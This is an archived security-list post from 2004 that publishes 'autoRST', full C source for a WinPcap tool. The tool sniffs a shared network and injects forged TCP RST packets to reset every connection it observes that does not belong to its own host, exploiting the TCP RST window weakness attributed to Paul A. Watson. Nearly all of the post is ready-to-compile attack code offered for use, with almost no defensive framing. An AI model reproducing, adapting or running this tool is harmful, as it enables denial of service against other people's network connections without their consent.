[EXPL] autoRST - Automated TCP RST Exploit

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Date: 4 May 2004 16:35:47 +0200

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  autoRST - Automated TCP RST Exploit
------------------------------------------------------------------------

SUMMARY

autoRST is an automated TCP RST exploit. It uses the Winpcap libraries to
sniff for TCP packets on a network and then sends out a forged RST packet
after calculating the appropriate sequence number and forging the MAC
address. Makes use of the recent vulnerable released by Paul A. Watson.

DETAILS

Exploit:
/******************************************************************************************
 * autoRST
 * Matt Edman - Baylor University
 * 5/3/2004
 *
 * DESCRIPTION:
 * Sniffs out TCP connections on a non-switched network and attempts to
reset them
 * by forging a RST packet in the correct window
 *
 * REQUIRED LIBRARIES:
 * -WinPCAP 3.1beta or higher
 * -WinPCAP developer's pack
 *
 * NOTES:
 * Just make sure you have WinPCAP 3.1beta or higher installed and the
appropriate
 * winpcap header files downloaded and paths setup. Other than that, just
start it
 * up and let it do its job.
 
******************************************************************************************/
#include <stdio.h>

// WinPCAP includes
#include <pcap.h>
#include <remote-ext.h>
 
// 6 byte MAC Address
typedef struct mac_address {
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
 u_char byte5;
 u_char byte6;
}mac_address;

// 4 bytes IP address
typedef struct ip_address{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
}ip_address;

// 20 bytes IP Header
typedef struct ip_header{
    u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
    u_char tos; // Type of service
    u_short tlen; // Total length
    u_short identification; // Identification
    u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
    u_char ttl; // Time to live
    u_char proto; // Protocol
    u_short crc; // Header checksum
    ip_address saddr; // Source address
    ip_address daddr; // Destination address
// u_int op_pad; // Option + Padding -- NOT NEEDED!
}ip_header;

// 20 bytes TCP Header
typedef struct tcp_header {
 u_short sport; // Source port
 u_short dport; // Destination port
 u_int seqnum; // Sequence Number
 u_int acknum; // Acknowledgement number
 u_char hlen; // Header length
 u_char flags; // packet flags
 u_short win; // Window size
 u_short crc; // Header Checksum
 u_short urgptr; // Urgent pointer...still don't know what this is...
}tcp_header;

// FUNCTION PROTOTYPES
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const
u_char *pkt_data);
void print_packet( u_char *pkt, int len );
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport,
mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum,
u_int win );
u_int iptoUINT( ip_address *ip );
u_short csum (unsigned short *buf, int nwords);

// GLOBAL VARIABLES
pcap_t *adhandle; // The device handle
u_int localaddr; // Local IP Address
struct sockaddr_in *lSock; // Local socket structure

int main( int argc, char *argv[] ) {
 pcap_if_t *alldevs;
 pcap_if_t *d;

 int inum;
 int i=0;

 char errbuf[PCAP_ERRBUF_SIZE];
 char *localIP;

 // Get the list of adapters
 if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) ==
-1 ) {
        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
  return 0;
    }

 // Print the list of adapters -- from Winpcap sample code
    for( d = alldevs; d != NULL; d = d->next ) {
        printf("%d. %s", ++i, d->name);
        if ( d->description )
            printf(" (%s)\n", d->description);
        else
            printf(" (No description available)\n");
    }
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);

 // Traverse the list to the selected adapter
    for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);

 // Get the local address
 lSock = (struct sockaddr_in *)(d->addresses->addr);
 localaddr = lSock->sin_addr.S_un.S_addr;
 printf("%d\n", localaddr);

 localIP = inet_ntoa(lSock->sin_addr);
 printf("Local Addr: %s\n", localIP);

 // Open the device for the capture
    if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS,
10, NULL, errbuf ) ) == NULL) {
  fprintf(stderr,"\nUnable to open adapter: %s \n", d->name);
        pcap_freealldevs(alldevs);
        return -1;
    }

    printf("\nListening on %s...\n", d->description);
    pcap_freealldevs(alldevs);
    pcap_loop(adhandle, 0, packet_handler, NULL);

 return 0;
}

// CALLBACK function...called for each received packet
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const
u_char *pkt_data) {
 u_int ip_len;

 mac_address *srcmac;
 mac_address *destmac;

 ip_header *iph;
 tcp_header *tcph;

 destmac = (mac_address *)pkt_data;
 srcmac = (mac_address *)(pkt_data + 6);

    iph = (ip_header *) (pkt_data + 14);

 if( iph->proto == 0x06 ) { // TCP PACKETS
  if( localaddr != iptoUINT( &iph->saddr ) && localaddr != iptoUINT(
&iph->daddr ) ) { // Don't reset our own connection
   ip_len = (iph->ver_ihl & 0xf) * 4;
   tcph = (tcp_header *)(pkt_data + 14 + ip_len);
   if( tcph->flags != 0x04 ) // If the RST flag is already set, no need
sending another RST packet
    send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr,
tcph->dport, tcph->acknum, tcph->win );
  }
 }
}

// Attempts to forge a RST packet and send it back to the source,
resetting the TCP connection
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport,
mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum,
u_int win ) {
 u_short tcp_hdrcrc[16];
 u_short ip_hdrcrc[10];
 
 u_short tcp_tos = htons(0x06);
 u_short tcp_hlen = htons(0x14);
 u_short ip_tos = htons(0x0800);

 ip_header iph;
 tcp_header tcph;
 u_char pkt[54];

 printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n",
srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport),
                  destip->byte1, destip->byte2, destip->byte3,
destip->byte4, ntohs(dport));
 
 // Setup IP Header
 iph.ver_ihl = 0x45;
 iph.tos = 0x01;
 iph.tlen = htons(40);
 iph.identification = htons(0x0800);
 iph.flags_fo = 0x0;
 iph.ttl = 0xff;
 iph.proto = 0x06;
 iph.crc = 0x00;
 iph.saddr = *destip; // swap the source & dest ips
 iph.daddr = *srcip;
 
 // Setup TCP Header
 tcph.sport = dport; // swap the source & dest ports
 tcph.dport = sport;
 tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);
 tcph.acknum = tcph.seqnum + htonl(0x1);
 tcph.hlen = 0x50;
 tcph.flags = 0x04;
 tcph.win = win;
 tcph.urgptr = 0x00;
 tcph.crc = 0x00;
 
 // Calculate the IP Header Checksum
 memset(ip_hdrcrc, 0, 20);
 memcpy(ip_hdrcrc, &iph, 20);
 iph.crc = csum( ip_hdrcrc, 10 );

 // Construct the tcp pseudo-header for checksum calculation
 memset(tcp_hdrcrc, 0, 32);
 memcpy(tcp_hdrcrc, &tcph, 20);
 memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);
 memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);
 memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);
 memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);
 tcph.crc = csum( tcp_hdrcrc, 16 );

 // Assemble the packet
 memcpy( pkt, (void *)srcmac, 6 );
 memcpy( (void *)(pkt + 6), (void *)destmac, 6 );
 memcpy( (void *)(pkt + 12), &ip_tos, 2);
 memcpy( (void *)(pkt + 14), &iph, 20 );
 memcpy( (void *)(pkt + 14 + sizeof( ip_header )), &tcph, 20 );
 
 // Send the packet
 if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0)
  fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle));

}

// Calculates the TCP Checksum based on the helper header
u_short csum (unsigned short *buf, int nwords) {
        unsigned long sum=0;
 
  for( sum=0; nwords > 0; nwords-- )
                sum += *buf++;
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
  return (u_short)~sum;
}

// Takes in an ip_address structure and returns the equivalent 4byte UINT
value
u_int iptoUINT( ip_address *ip ) {
 u_int ipaddr;
 ipaddr = ip->byte4 | (ip->byte3 << 8);
 ipaddr = ipaddr | (ip->byte2 << 16);
 ipaddr = ipaddr | (ip->byte1 << 24);
 return htonl(ipaddr);
}

// Display the values in the packet on the screen
void print_packet( u_char *pkt, int len ) {
 int i;

 printf("\tThe Packet\n------------------------------\n");
 for( i = 0; i < len; i++ ) {
  if(i%4==0)
  printf("\n");
  printf("0x%x ", pkt[i]);
 }
 printf("\n");
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:Matt_Edman@baylor.edu> Matt
Edman.

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